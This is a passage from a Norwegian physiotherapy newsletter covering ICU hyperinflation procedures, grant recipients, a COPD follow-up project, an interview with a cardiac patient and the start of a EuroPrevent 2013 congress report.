Overlege, Intensivavd., Akuttklinikken, OUS, Ullev\u00e5l Sykehus. Hilde M. Norum, Overlege, Seksjon for Thoraxanestesi, Akuttklin., OUS, RH. Inger Schou Bredal, Phd, sykepleier, hovedveileder, OUS Helene L. S\u00f8berg, Phd, fysioterapeut, biveileder, OUS Arbeidet tok lenger tid enn forventet av flere \u00e5rsaker. Etter h\u00f8ringsrunder og en utpr\u00f8vingsperiode ble fagprosedyrene godkjent av fagdirekt\u00f8r ved OUS, Erik Carlsen den Hyperinflasjon har det noe for seg? MHI er beskrevet for f\u00f8rste gang allerede i 1968 (2). Tre oversiktsartikler ble funnet som om handlet MHI-studier (3-5). Antall inkluderte studier i disse var henholdsvis 7, 5 og 19, de fleste randomiserte sm\u00e5 crossoverstudier med en del metodiske svakheter. Det er forskjeller i pasientpopulasjon og tiltaket utf\u00f8res ogs\u00e5 forskjellig. Effektm\u00e5lene er mest umiddelbare effektm\u00e5l, som oksygenering, compliance, evakuert sekretmengde og p\u00e5virkning p\u00e5 hemodynamikk. Noen studier viste kortvarig effekt i lungcompliance, oksygenering og evakuering av sekret. Det er dog sprikende resultater og vanskelig \u00e5 konkludere ang\u00e5ende effekt. VHI er f\u00f8rst beskrevet i litteraturen 2002 (6). N\u00e5r det gjelder VHI ble ingen oversiktsartikler funnet, men seks enkeltstudier, alle med f\u00e5 antall deltakere, en randomisert kontrollert studie og resten crossoverstudier. Fire sammenlignet VHI med MHI, to sammenlignet VHI med sideleie. Effektm\u00e5lene var de samme som i MHI-studiene. Det var metodiske svakheter, og lav risiko for systematiske feil. Studiene viste at VHI gav like god effekt som MHI p\u00e5 sekretmobilisering og at VHI var trygt \u00e5 utf\u00f8re til pasientgruppen. Det var usikker effekt p\u00e5 oksygenering og compliance. Det er mer litteratur som er inkludert i arbeidet enn disse som kortfattet er beskrevet her. Fullstendig referanseliste og artikkeltabeller finnes p\u00e5 fagprosedyrer.no. V\u00e5r konklusjon er at det er grunn til \u00e5 forholde seg kritisk til hyperinflasjon og nytten av det. Som all annen behandling skal hyperinflasjon ikke gj\u00f8res p\u00e5 rutine. Barker (3) har uttrykt dette godt: It s important to assess patients individually and then modify their treatment. Patients seen in practice may differ from those who have participated in clinical trials. Resultatet Det foreligger n\u00e5 to kunnskapsbaserte fagprosedyrer, en for manuell hyperinflasjon (MHI) og en for ventilatorhyperinflasjon (VHI) som fysioterapitiltak til mekanisk ventilerte voksne intensivpasienter. Fagprosedyrene, med diverse vedlegg, er publisert i lokal e-h\u00e5ndbok p\u00e5 Oslo Universitetssykehus, men disse er ogs\u00e5 publisert p\u00e5 nettsiden fagprosedyrer.no (1). Prosedyrene m\u00e5 godkjennes f\u00f8r bruk i det enkelte helseforetak. M\u00e5lgruppen er fysioterapeuter som arbeider med intensivpasienter, men fagprosedyren skal ogs\u00e5 kunne brukes av leger og intensivsykepleiere og vil spesielt v\u00e6re til nytte for leger som skal henvise mekanisk ventilerte voksne intensivpasienter til (lunge) fysioterapi. Bruken forutsetter lokal oppl\u00e6ring/sertifisering. Prosedyrene skal oppdateres annet hvert \u00e5r. Implementering Fagprosedyrene har underveis i arbeidet v\u00e6rt presentert b\u00e5de for leger, fysioterapeuter og syke-pleiere, samt ansvarlige ledere i OUS, via e-post, informasjonsm\u00f8ter og fagm\u00f8ter. Dette tror vi vil lette implementeringen lokalt n\u00e5 n\u00e5r fagprosedyrene er ferdige. Undertegnede mener at fysioterapeuter som arbeider mye p\u00e5 intensiv b\u00f8r ha hyperinflasjon som et verkt\u00f8y i sin verkt\u00f8ykasse, samt ha kunnskap om og evne til \u00e5 vurdere hvem som kan ha nytte av hyperinflasjon og n\u00e5r dette skal utf\u00f8res. For at tiltaket skal kunne utf\u00f8res trygt og effektivt, forutsettes det gode basiskunnskaper hva gjelder lungefysiologi, kunnskaper i respiratorbehandling, erfaring fra fysioterapi til intensivpasienter, god vurderingsevne og evne til samarbeid med sykepleier og lege. Vi mener det er viktig med grundig oppl\u00e6ring/sertifisering som ogs\u00e5 b\u00f8r inneholde praktisk veiledning. Fagprosedyrene som n\u00e5 foreligger er en kvalitetssikring og det er vi gruppemedlemmer veldig forn\u00f8yde med. Tusen takk til alle som har bidratt\\! 18\n\n\n\n19 Innlegg fortsetter Hyperinflasjon som fysioterapitiltak til mekanisk ventilerte voksne intensivpasienter Kilder: 1. Helsebiblioteket. Nasjonalt nettverk for fagprosedyrer Available from: 2. Clement AJ, Hubsch SK. Chest physiotherapy by the 'bag squeezing' method: a guide to technique. Physiotherapy Oct;54(10): PubMed PMID: Epub 1968/10/01. eng. 3. Barker M, Eales CJ. The effects of manual hyperflation using self-inflating manual resuscitation bags on arterial oxygen tensions and lung compliance -- a meta-analysis of the literature. South African Journal of Physiotherapy. 2000;56(1):7-16. PubMed PMID: Language: English. Entry Date: Revision Date: Publication Type: journal article. 4. Brazier D. Effects of manual lung hyperinflation using rebreathing bags on cardiorespiratory parameters in intubated adults. Physical Therapy Reviews. 2003;8(3): PubMed PMID: Language: English. Entry Date: Revision Date: Publication Type: journal article. 5. Paulus F, Binnekade JM, Vroom MB, Schultz MJ. Benefits and risks of manual hyperinflation in intubated and mechanically ventilated intensive care unit patients: a systematic review. Crit Care Aug 3;16 (4):R145. PubMed PMID: Pubmed Central PMCID: Berney S, Denehy L. A comparison of the effects of manual and ventilator hyperinflation on static lung compliance and sputum production in intubated and ventilated intensive care patients. Physiother Res Int. 2002;7 (2): PubMed PMID: English. Husk Fond til etter- og videreutdanning av fysioterapeuter Trenger du midler til \u00e5 utf\u00f8re et forskningsprosjekt, kvalitetssikringsprosjekt, formidlingsprosjekt eller utarbeide en prosjektbeskrivelse? Da kan du s\u00f8ke Fondet om stipend\\! Du kan ogs\u00e5 s\u00f8ke Fondet om reisestipend og utdanningsstipend. Les mer om de ulike stipendkategoriene, hvordan du s\u00f8ker og kriterier for tildeling av stipend p\u00e5 Faggruppens utviklingsstipend 2013 Elfrid Herre Staveland og Ingunn Mj\u00f8s: Jobber p\u00e5 hjerteavd. /hjerterehab.avd. ved Haukeland universitetssykehus. Har ansvar for ergospirometritester i fase 2a. De har f\u00e5tt ett stipend p\u00e5 deling for \u00e5 hospitere ved Cardiac Exercise Research Group (CERG) ved NTNU i oktober. Inga Baltaduonyte: Jobber ved Odda Sykehus Helse-Fonna, fys./rehab/lms. Har jobbet over et \u00e5r p\u00e5 intensiv, kirurgisk og medisink avd., og \u00f8nsker \u00e5 \u00f8ke sin kunnskap for utf\u00f8re jobben mer forsvarlig. Hun f\u00e5r stipend for \u00e5 g\u00e5 p\u00e5 NFFs kurs Fysioterapi til intensivpasienter (kurs ). Ann Cathrin Aarseth Madsen. Jobber med hjertepasienter i alle faser ved Skogli Helse og rehabiliteringssenter i Lillehammer. Hun fikk avslag p\u00e5 en intern s\u00f8knad om st\u00f8tte til \u00e5 g\u00e5 p\u00e5 kurs. Faggruppen \u00f8nsket derfor \u00e5 tildele Ann Cathrin et stipend for \u00e5 delta p\u00e5 Helhetlig hjerterehabilitering i Stavanger (2013). Linda Spigseth: Privatpraktiserende fysioterapeut ved Vorma Fysioterapi. \u00d8nsker \u00e5 starte lungegruppe i samarbeid med LHL Nes og fikk derfor st\u00f8tte til \u00e5 delta p\u00e5 kurset Aktiv lungerehabilitering (2013). Les mer p\u00e5 neste side. 19\n\n\n\n20 Rapport Rapport fra stipendmottaker Linda Spigseth Annonsen om kurset aktiv lungerehabilitering i Fysioterapeuten senvinteren i 2013 vekket raskt min interesse. Jeg har lenge sett behovet for \u00e5 lage et eget treningsopplegg for lungesyke i min kommune. I 2007 inngikk jeg et samarbeid med LHL Nes, om oppstart av en hjerte- og lungegruppe. Gruppen vokste seg raskt stor, og behovet for en egen lungegruppe meldte seg. Det gjorde ogs\u00e5 mitt behov for \u00e5 oppdatere mine kunnskaper om trening av lungesyke. P\u00e5 kurset l\u00e6rte jeg en del nytt, og jeg har blitt tryggere p\u00e5 meg selv. Det faglige innholdet var basert p\u00e5 utfordringene til den lungesyke og hvordan den lungesyke kan leve p\u00e5 best mulig m\u00e5te. Jeg hadde meget stort utbytte av forelesingen om arbeidskapasitet hos lungesyke, og det var nyttig med den praktiske gjennomgangen av testmetoder som 6 minutters gangtest (6MWT) og tredem\u00f8lletest tilpasset lungesyke. Fra tidligere har jeg grunnkurs i fysioterapi og psykisk helse. Derfor festet jeg meg ogs\u00e5 spesielt godt til forelesningen om avspenning og kroppsbevissthet og til foredraget om compliance eller allianse? Raskt etter kurset startet jeg \u00e5 bruke treningsprinsippene og pusteteknikk for \u00e5 mobilisere slim. Ettersom jeg er helprivat og mangler avtale med NAV, henvises ikke kols pasienter til meg p\u00e5 instituttet. Pasientene henvises ofte p\u00e5 grunn av andre plager som for eksempel rygg og nakke. Det er likevel tydelig at lungesykdommen er et stort hinder for at disse pasientene skal kunne mestre hverdagen. For \u00e5 kunne teste ut noe av det jeg l\u00e6rte p\u00e5 kurset, har jeg i etterkant av kurset bevisst brukt mye tid p\u00e5 disse pasientene. En meget god nyhet er at jeg i fremtiden vil kunne f\u00e5 jobbe mye mer med pasientgruppen. Kommunen har lyst ut en 100 % driftshjemmel, og jeg er innstilt som nummer en. I hjertesukket oktober 2012 leste jeg Eilin Ekeland sin kronikk, hvor hun oppsummerer slik: Et bedre lokalt fysioterapitilbud til hjerte og lungepasienter, med god veiledning fra fysioterapeuter i spesialisthelsetjenesten vil v\u00e6re en klok m\u00e5te \u00e5 forvalte ressursene p\u00e5. Nes kommune er godt i gang med dette. I min s\u00f8knad og intervju la jeg frem mine planer om \u00e5 utvide mitt samarbeid med og planer for hjerte og lungesyke. Aktiv lungerehabilitering var et nyttig og flott arrangement. Jeg overnattet p\u00e5 kursstedet og fikk dermed anledning til \u00e5 snakke med pasientene som var der. De var sv\u00e6rt takknemlig for oppholdet. Jeg har planer om \u00e5 reise tilbake til Glittreklinikken p\u00e5 hospitering, men f\u00f8rst skal jeg starte opp med lungegruppa. Jeg ser en utfordring med at b\u00e5de pasienter med astma og pasienter som har behov for supplerende oksygen har meldt sin interesse. Om n\u00f8dvendig kan jeg lage et eget tilbud til de aller svakeste. Dette vil bli enklere som avtalefysioterapeut. Jeg ser det ogs\u00e5 som en plikt siden de sv\u00e6rt syke ogs\u00e5 skal forbygge infeksjoner og sykehusinnleggelser, dette i tr\u00e5d med samhandlingsreformen. Jeg har stor tro p\u00e5 at en liten forandring, en hyggelig opplevelse, m\u00f8te med nye mennesker, god gruppedynamikk, en latterstund, og en god melodi kan gi litt mentalt overskudd - som igjen kan p\u00e5virke hverdagen til den enkelte deltaker p\u00e5 en positiv m\u00e5te. Tusen takk for at dere valgte meg\\! Vennlig hilsen Linda Spigseth Linda er den eneste av stipendmottakerne som allerede har gjennomf\u00f8rt sin aktivitet. De \u00f8vrige rapportene vil bli lagt ut p\u00e5 v\u00e5r webside Faggrupper/Hjerte-og-lungefysioterapi 20\n\n\n\n21 Innlegg Prosjekt Frisk Pust Av: Stacey Haukeland-Parker, Spesialfysioterapeut/MSc, Prosjektleder Sykehuset \u00d8stfold HF Prosjekt Frisk Pust er et samarbeid mellom Sykehuset \u00d8stfold og kommunene Moss og Eidsberg. Prosjektet er st\u00f8ttet fra ExtraStiftelsen. Prosjektet f\u00f8lger opp pasienter som har v\u00e6rt innlagt ved lungeavdelingen p\u00e5 Sykehuset eller som har hatt et rehabiliteringsopphold p\u00e5 grunn av KOLS. Kommunene har opprettet egne KOLS-team som st\u00f8ttes av et lungeteam ved sykehuset., og alle KOLS-pasienter fra de to kommunene inkluderes. Det fokuseres p\u00e5 mestring av KOLS i hverdagen gjennom veiledning, livsstilsendring og aktiv rehabilitering. KOLS-teamene vurderer pasientene, og basert p\u00e5 den enkeltes behov lager de en plan for veiledning og opptrening, individuelt eller i gruppe. Prosjektets m\u00e5l: \u00d8ke helserelatert livskvalitet blant KOLS pasienter Gi pasient og p\u00e5r\u00f8rende kunnskap og trygghet for \u00e5 mestre \u00e5 leve med KOLS Bedre fysisk funksjon og forebygge un\u00f8dvendige innleggelser i sykehus \u00d8ke samarbeid og overf\u00f8ring av kompetanse mellom 1. og 2. linjetjenesten. Ideen Moss kommune etterlyste et bedre samarbeid med sykehuset n\u00e5r det gjaldt KOLS- pasienter. De opplevde at samarbeidet mellom sykehuset og kommunen ikke var optimalt, i tillegg til at de selv manglet ressurser og kompetanse p\u00e5 tema. Sykehuset \u00d8stfold tok ansvaret for \u00e5 sende inn s\u00f8knaden til ExtraStiftelsen. S\u00f8knadsprosess En kort beskrivelse av prosjektet ble sendt LHL i midten av mars. Da LHL var positive til prosjektet., ble en mer omfattende s\u00f8knad inklusiv budsjett og fremdriftsplan utarbeidet frem mot LHLs s\u00f8knadsfrist i midten av mai. LHL bidro med r\u00e5d og veiledning i s\u00f8knadsprosessen. Deretter m\u00e5tte vi vente helt til november 2012 f\u00f8r vi fikk vite om vi fikk utdelt midler. Effektm\u00e5l Deltagerne skal fylle ut tre sp\u00f8rreskjemaer, CAT, HADS og COOP/WONCA, ved oppstart, treseks-, og 12 m\u00e5neder. Ettersom vi skulle hente ut informasjon fra pasientenes journal og symptomer, s\u00f8kte vi godkjenning fra Norsk samfunnsvitenskapelige datatjeneste (NSD). Prosessen Det f\u00f8rste m\u00e5nedene ble brukt p\u00e5 forberedelser, inklusiv m\u00f8tevirksomhet i prosjektgruppen og styringsgruppen, kontakt med samarbeidspartnere (Jel\u00f8y Kurbad, Granheim lungesykehus og Glittreklinikken) og oppl\u00e6ring av KOLS-teamene. Vi startet rekrutteringen i april, og har i l\u00f8pet av de f\u00f8rste tre m\u00e5nedene inkludert 25 pasienter. Pasientene er prim\u00e6rt rekruttert internt, via kommunene eller sykehuset. Forel\u00f8pig er ingen pasienter henvist via rehabiliteringsinstitusjonene, og det har v\u00e6rt vanskelig \u00e5 f\u00e5 LHL \u00d8stfold involvert. Erfaringer Prosjektet har gitt oss mulighet til \u00e5 fokusere p\u00e5 samarbeid mellom sykehus og kommunene, og p\u00e5 omr\u00e5der som kan forbedres. Dette er spesielt viktig siden samhandlingsreformen har endret m\u00e5ten vi jobber p\u00e5. Prosjektmidlene har gitt oss muligheten til \u00e5 sette av tid til \u00e5 fokusere p\u00e5 oppf\u00f8lging av KOLS pasienter etter en innleggelse. Vi h\u00e5per dette kan forebygge noen reinnleggelser og bedre pasientens livskvalitet og mestringsevne. 21\n\n22 Innlegg fortsetter Prosjekt Frisk Pust Uttalelse fra Moss kommune ved Synn\u00f8ve L\u00f8kvold Holmen Det er spennende \u00e5 ha f\u00e5tt muligheten til \u00e5 v\u00e6re med i prosjektet Frisk Pust. Gjennom prosjektet har jeg f\u00e5tt mulighet til \u00e5 erfare hvordan KOLS-pasienter har det i sin normaltilstand, og kan forh\u00e5pentligvis p\u00e5virke dem til \u00e5 gj\u00f8re endringer slik at de kan mestre sykdommen sin p\u00e5 best mulig m\u00e5te. Prosjektgruppen: Heidi Bj\u00f8rsrud (ergoterapeut, Moss), Synn\u00f8ve L Holmen (fysioterapeut, Moss), Ada Bjerke (fysioterapeut, Eidsberg) og Stacey Haukeland-Parker (prosjektleder, Sykehuset \u00d8stfold). Ikke tilstede: Ingrid Brataas (fysio, Eidsberg) og Hanne Fjell Larsen (lungesykepleier, Sykehuset \u00d8stfold). Ergoterapeuten og jeg foretar det f\u00f8rste hjemmebes\u00f8ket sammen. Vi kartlegger pasientens behov og iverksetter tiltak. Alle f\u00e5r tilbud om trening, individuelt eller i gruppe. Vi skulle gjerne hatt mer tid for \u00e5 utf\u00f8re tiltak vi mener pasienten kunne dra nytte av. Vi h\u00e5per prosjektet belyser og dokumenterer behovet for mer oppf\u00f8lging av KOLS-pasienter, slik at vi kan f\u00e5 ressurser til \u00e5 opprettholde KOLS-teamet. Uttalelse fra Eidsberg kommune ved Ada Bjerke I forbindelse med prosjektet fikk kommunen tildelt midler tilsvarende 20% stilling for ett \u00e5r. Kommunen skulle etablere KOLS-team og \u00f8ke kompetansen i forhold til pasientgruppen (tilbud og behandlingsstrategier). Jeg fikk mulighet til \u00e5 hospitere ved behandlingsinstitusjoner, delta p\u00e5 tilbud for KOLS-pasienter ved sykehuset og p\u00e5 planleggingsm\u00f8ter hvor blant annet kartleggingsverkt\u00f8y ble valgt. Vi fikk ogs\u00e5 delta p\u00e5 Lungerehabiliteringskonferansen i Stacey fremst\u00e5r som en kunnskapsrik og systematisk leder av prosjektet. Det har v\u00e6rt interessant \u00e5 f\u00e5 innsikt i de utfordringene denne pasientgruppen m\u00f8ter i hverdagen. Kartleggingen av pasientene er n\u00e5 i full gang, og vi vurderer om det er behov for \u00e5 \u00f8ke treningstilbudet med en ekstra KOLS-gruppe i kommunen. Prosjektet har bidratt til \u00f8kt samarbeid mellom fastlegene, privatpraktiserende fysioterapeuter og hjemmesykepleien. I tillegg er det sv\u00e6rt positivt med muligheten til \u00e5 samarbeide med sykehusavdelingene og behandlingsinstitusjonene. Det oppleves sv\u00e6rt meningsfylt \u00e5 ha ekstra fokus p\u00e5 denne pasientgruppen. ExtraStiftelsen Helse og Rehabilitering ExtraStiftelsen er en stiftelse best\u00e5ende av 28 frivillige organisasjoner. Stiftelsen formidler overskuddet fra Extraspillet til prosjekter innen forskning, rehabilitering og forebygging. For \u00e5 kunne s\u00f8ke m\u00e5 man v\u00e6re godkjent som s\u00f8kerorganisasjon. Per dags dato er 264 frivillige organisasjoner godkjent. Det er mulig \u00e5 finansiere forskning og andre tiltak for hjerte- og lungesyke via blant annet LHL, Nasjonalforeningen for folkehelsen og Astma- og Allergiforbundet. Les mer p\u00e5 ExtraStiftelsen sin hjemmeside (http://www.extrastiftelsen.no/). Les mer om s\u00f8knadsprosedyrer, tidsfrister og finansierte prosjekter via LHL p\u00e5 lhl.no. 22\n\n24 Innlegg Hjertepasienten Av: Lili Ann Dommersnes Spesialfysioterapeut Lovisenberg Diakonale Sykehus Hans Christian Bestum ble hjertepasient f\u00f8rste gang for nesten 20 \u00e5r siden da han fikk hjerteinfarkt i Han har siden overlevd hjertestans to ganger. F\u00f8rste gang i 2010 p\u00e5 trening ved Hjertetrimmen Aker/Hasle hvor trimgruppedeltagere reddet ham med hjertekompresjoner inntil ambulansepersonell overtok. Andre gang var i 2012 ogs\u00e5 p\u00e5 trening, men denne gang ble han reddet av ICD en han hadde f\u00e5tt implantert. Han har v\u00e6rt gjennom to runder med hjerteflimmer f\u00f8rste gang elektrokonvertert p\u00e5 Lovisenberg i 2002 andre gang i 2012 via ICD p\u00e5 Ullev\u00e5l. Da han ble konvertert i 2002 fikk han en blodpropp i hjernen. V\u00e5ren 2013 fikk han satt inn en stent i en \u00e5re som nesten var tett. Hans Christian Bestum brenner for \u00e5 bevare og bedre oppf\u00f8lgingen av hjertepasienter, b\u00e5de i akutt fase, i hjerterehabilitering og videre som frisk pasient. - Hjerterehabilitering s\u00f8rger for at folk kommer tilbake til jobben. For de som har blitt pensjonister bedres ogs\u00e5 livskvaliteten slik at de sv\u00e6rt lenge, ja resten av livet, kan klare seg selv og ikke bli en kostnad for samfunnet. Dette burde v\u00e6re drivkraft nok til at helse Norge satser mer helhjertet p\u00e5 hjerterehabilitering, sier Bestum. Kan du fortelle litt om hvordan du opplevde \u00e5 f\u00e5 din f\u00f8rste hjertehendelse? Etter nesten 30 \u00e5rs hektisk yrkesliv i hotell-, restaurantog reiselivsbransjen sprang bomben for meg i \u00e5r gammel. Som lyn fra klar himmel traff hjerteinfarktet meg og jeg ble i full fart lagt inn p\u00e5 Aker Sykehus. Tusen tanker raste gjennom hodet p\u00e5 en gang og angsten kom rimelig fort. Angst fordi jeg ikke trodde det var et liv mer, angst for \u00e5 ruinere familie og venner og angst for ikke \u00e5 kunne mestre noe og hvor alt f\u00f8ltes uvisst. Etter mange unders\u00f8kelser og pr\u00f8ver ble det fortalt meg hva som hadde skjedd, hvor alvorlig det var og at jeg m\u00e5tte ta tiden til hjelp for \u00e5 komme meg. Det ble informert om mulige \u00e5rsaker og om hvilke pr\u00f8ver som ble tatt og hvorfor. Til slutt ble det gitt tilbud om 7 ukers rehabilitering. For \u00e5 v\u00e6re helt \u00e6rlig var jeg s\u00e5 langt nede at jeg ikke kunne se hvordan jeg i det hele tatt skulle starte opp trening. Etter 10 dager p\u00e5 sykehuset kom jeg hjem og var overlatt til meg selv. Mine f\u00f8rste turer sammen med min kone var ikke p\u00e5 mer enn 50 meter. Da var jeg helt utslitt. Og redd. Etter en m\u00e5ned m\u00f8tte jeg opp p\u00e5 Senter for Yrkesmessig Attf\u00f8ring for rehabilitering i Rikshospitalets regi. Aker Sykehus hadde i 1994 et godt team av kardiologer og godt trenede sykepleiere. Kombinasjonen av veiledning, forsiktig opptrening og medisinsk oppf\u00f8lging var av uvurderlig betydning. Dette er noe alle sykehus i Norge b\u00f8r tilby. Gradvis mestret jeg alle sider av rehabiliteringen og ble sikker p\u00e5 meg selv. Det psykologiske aspektet er derfor veldig viktig\\! For mine n\u00e6rmeste var situasjonen et sjokk. Og selv sto jeg, til tross for en flott innsats fra Aker Sykehus, igjen med mange sp\u00f8rsm\u00e5l om livet videre. Hva t\u00f8r jeg og hva t\u00f8r jeg ikke? Hvilken erfaring har du med oppstart av hjertemedisiner og bivirkningene av dem? Jeg fikk veldig god orientering om medisinenes virkning og bivirkning. Det samme har jeg erfart ved senere anledninger. Jeg har blant annet brukt Marevan. I den forbindelse ble jeg tett fulgt opp med jevnlige INR pr\u00f8ver og ble gjort oppmerksom p\u00e5 blant annet bl\u00f8dningsrisiko. Selo-Zok har jeg brukt i alle \u00e5r. Den har gitt meg kalde hender og f\u00f8tter, og av og til noe hodepine, men ikke verre enn at jeg godt har kunnet leve med det. I tillegg har jeg brukt Triatec og Albyl E., Ezetrol og Crestor. En bivirkning av de ulike kolesterolmedisinene jeg har brukt er smerter i f\u00f8tter og ben. Dette sliter jeg fortsatt med. 24\n\n25 Innlegg fortsetter Hjertepasienten Hvilke tanker gjorde du og dine p\u00e5r\u00f8rende dere om livet videre? Den f\u00f8rste perioden var t\u00f8ff, f\u00f8r jeg forsto at det var mulig \u00e5 komme til hektene igjen. Jeg var redd. De f\u00f8rste ukene var utfordrende, ogs\u00e5 for mine p\u00e5r\u00f8rende som sto p\u00e5 utsiden. Det var tanker om livet videre, jobb eller ikke jobb, \u00f8konomi, aktiviteter med mer. Vi ble spurt om vi hadde tatt kontakt med min arbeidsgiver. Det hadde vi gjort umiddelbart. Arbeidsgiver var sv\u00e6rt tidlig p\u00e5 banen og forsikret oss om at de ville f\u00f8lge opp og gj\u00f8re alt for \u00e5 f\u00e5 meg tilbake i arbeid. Dette, sammen med informasjonen og pr\u00f8vene som ble tatt p\u00e5 sykehuset og den medisinske behandlingen, var viktig for meg. Vi f\u00f8lte oss sv\u00e6rt godt ivaretatt da vi ogs\u00e5 fikk tilbud om rehabilitering. N\u00e5r jeg etter 10 uker kunne komme tilbake i arbeid var det en fantastisk opplevelse. Heldigvis hadde jeg en forst\u00e5elsesfull arbeidsgiver som ville legge forholdene til rette for meg og var t\u00e5lmodig. Jeg vet jo at dette vurderes ulikt. I mitt tilfelle var det Legeforeningen som var arbeidsgiveren og de ville gjerne ha meg tilbake i et langsiktig perspektiv. Gjorde du deg noen tanker om hva som kunne v\u00e6re \u00e5rsaker til at du fikk hjerteinfarkt? Sykehuset ga meg og mine n\u00e6rmeste en orientering om betydningen av livsstilsendring for \u00e5 forebygge nye hjertehendelser. Blant annet var r\u00f8yking et tema. Stress ble lite nevnt. Skulle jeg v\u00e5ge meg p\u00e5 en liten selvanalyse s\u00e5 tror jeg nok at stressfaktoren hos meg var en viktig \u00e5rsak til hjerteinfarktet. Jeg hadde nylig v\u00e6rt gjennom en vanskelig periode med omlegging av organisasjonen. Jeg hadde v\u00e6rt r\u00f8ykfri i over 20 \u00e5r, s\u00e5 det tror jeg var mindre viktig. Det hadde v\u00e6rt en del hjertetr\u00f8bbel b\u00e5de p\u00e5 mor- og farssiden min, s\u00e5 dette kunne selvsagt ha spilt en viss rolle. Kosthold og regelmessige spisevaner har alltid v\u00e6rt vanskelig i den jobben jeg har hatt. Informasjonen vi fikk om tema gjorde meg mer bevisst. Vi fikk ogs\u00e5 mye god informasjon om ulike unders\u00f8kelser og hensikten med disse. Imidler- tid har jeg, og andre hjertepasienter jeg har hatt kontakt med, savnet god nok informasjon om betydningen av fysisk aktivitet den f\u00f8rste tiden etter hjertehendelsen, og den medisinske oppf\u00f8lgingen sammen med dette. Dette har kommet ulikt frem ved de ulike sykehusene jeg har v\u00e6rt p\u00e5, men jeg synes en s\u00e5 viktig del av behandlingen oftere kunne kommet tydeligere frem. Jeg vil spesielt trekke frem Lovisenberg Diakonale Sykehus. De gangene jeg har v\u00e6rt pasient der har jeg f\u00e5tt sv\u00e6rt god orientering og oppf\u00f8lging. Ikke minst med tilbud om atrieflimmerkurs, hjertekurs, kostholdskurs og treningstilbud. Her er dette sykehuset et forbilde for mange andre. Hvilke tanker har du om hvordan hjerterehabilitering b\u00f8r v\u00e6re i \u00e5rene som kommer? Hjerterehabilitering i f\u00f8rste fase b\u00f8r, slik jeg ser det, tilbys p\u00e5 alle landets sykehus og i n\u00e6rheten av kyndig helsepersonell. Sikkerhetsmessig er dette den eneste forsvarlige metode. Skulle noe inntreffe har man mulighet til \u00e5 tilkalle hjelp umiddelbart n\u00e5r man er innenfor sykehusets fire vegger. Det \u00e5 komme sammen med andre hjertepasienter og gradvis se at man mestrer og faktisk kjenner at man kommer i bedre form, f\u00f8les trygt og er sv\u00e6rt viktig. Jeg mener hjerterehabiliteringen i denne tidlige fasen b\u00f8r ha en varighet p\u00e5 fire til \u00e5tte uker. Mange pasienter er engstelige for \u00e5 presse seg og vil ogs\u00e5 v\u00e6re i behov av videre trening med h\u00f8yere intensitet i sykehus, fase 2b. Dessverre er det de f\u00e6rreste sykehus som opprettholder dette tilbudet n\u00e5 etter at samhandlingsreformen tr\u00e5dte i kraft. Dette selv om den samfunns\u00f8konomiske gevinsten s\u00e5 absolutt er til stede. Jeg mener samhandlingsreformen ikke har blitt godt nok fulgt opp, verken med \u00f8konomi eller kompetanseheving av helsepersonell, for \u00e5 bidra til \u00e5 gj\u00f8re de ansatte i kommunene/bydelene i stand til \u00e5 ta vare p\u00e5, blant annet hjertepasientene p\u00e5 en hensiktsmessig m\u00e5te. Det er i denne sammenheng ogs\u00e5 et stort paradoks at landets st\u00f8rste sykehus tillater seg \u00e5 legge ned denne aktiviteten. Dette til tross for 25\n\n26 Innlegg fortsetter \\*Hjertepasienten all den solide dokumentasjon som eksisterer innen feltet, b\u00e5de nasjonalt og internasjonalt, for at hjerterehabilitering er riktig og viktig. Jeg lurer p\u00e5 hvor mange svingd\u00f8rpasienter ekstra man f\u00e5r som resultat av dette. tidligere hjertepasienter, da tilbudene var f\u00e5 og ettersp\u00f8rselen stor. Etter oppl\u00e6ring fra lege og fysioterapeut ble gruppen startet. To uker senere var gruppen fulltegnet og vi m\u00e5tte \u00f8ke tilbudet med en trening til per uke. Etter endt rehabilitering er det viktig at man fortsetter \u00e5 trene. Da m\u00e5 det finnes muligheter til \u00e5 komme med i alternative tilbud som gj\u00f8r dette mulig. Forutsetningen er at man har organisert dette p\u00e5 en god og sikker m\u00e5te slik at sykehusene som det blir rekruttert fra f\u00f8ler at det holder m\u00e5l. Hjertetrimmen jeg er med og driver p\u00e5 Aker/Hasle, er et eksempel p\u00e5 dette. Etter hjerteinfarktet i 1994 fikk jeg tilbud om rehabilitering i Rikshospitalets regi i Sinsenveien 76 inne p\u00e5 Aker Sykehus sitt omr\u00e5de med overlege Svein Sire i spissen. Dette var et rehabiliteringstilbud som var knyttet til Senter for Yrkesmessig Attf\u00f8ring grunnlagt av Gudmund Harlem. Etter endt rehabilitering ble jeg spurt om jeg kunne tenke meg \u00e5 drive likemannsarbeid gjennom en frisk-treningsgruppe for Tilbudet p\u00e5 Senter for Yrkesmessig Attf\u00f8ring ble lagt ned av Rikshospitalet i 2007/2008. Da hadde de gitt i alt om lag 3000 pasienter tilbud om rehabilitering med gode resultater. Hjertetrimmen Aker/Hasle flyttet inn p\u00e5 selve sykehusomr\u00e5det p\u00e5 Aker hvor vi holdt til frem til Da kom prosessen med \u00e5 nedlegge Aker Sykehus og hjerterehabiliteringen for Aker/ Ullev\u00e5l en total feilvurdering, etter min mening. Hjertetrimmen Aker/Hasle har alts\u00e5 v\u00e6rt et hjertetreningstilbud siden Den er n\u00e5 lokalisert til Hasle skole, men har god kontakt med fysioterapeuter og \u00f8vrig hjertepersonell p\u00e5 de ulike sykehusene i Oslo og omegn. Dette for \u00e5 holde det faglige niv\u00e5et h\u00f8yt. I dag trener 55 personer to ganger i uken og tilbudet er fulltegnet. 26\n\n27 Referat EuroPrevent 2013, Roma april Av: Anne Haugland, Spesialist i hjerte- og lungefysioterapi og Marit Kristiansen, MSc/Spesialist i hjerte- og lungefysioterapi Hjertelaget Fysioterapi, Stavanger Europrevent er en \u00e5rlig kongress i regi av the European Association for Cardiovascular Prevention and Rehabilitation. Temaet for \u00e5rets kongress var: the Universal Approach to Preventiv Cardiology med et underliggende sp\u00f8rsm\u00e5l: How can we universally work together in the prevention of cardiovascular disease? Totalt deltok 1800 helsearbeidere fra 83 land, de fleste var leger og sykepleiere. Programmet var tilgjengelig i forkant p\u00e5 en egen app, slik at man i ro og mak kunne velge ut de temaer som var mest relevante. Og med mulighetene for \u00e5 g\u00e5 p\u00e5 55 sesjoner og 500 poster stands var det nyttig forarbeid. Man kunne delta p\u00e5 Master Class, hvor det siste nye innen forskning p\u00e5 de ulike felt ble presentert og p\u00e5 mindre sesjoner basert p\u00e5 case -studies og klinisk forskning. Hovedtemaene var forebygging og epidemiologi, sportskardiologi, rehabilitering og trening. Videre kunne man velge 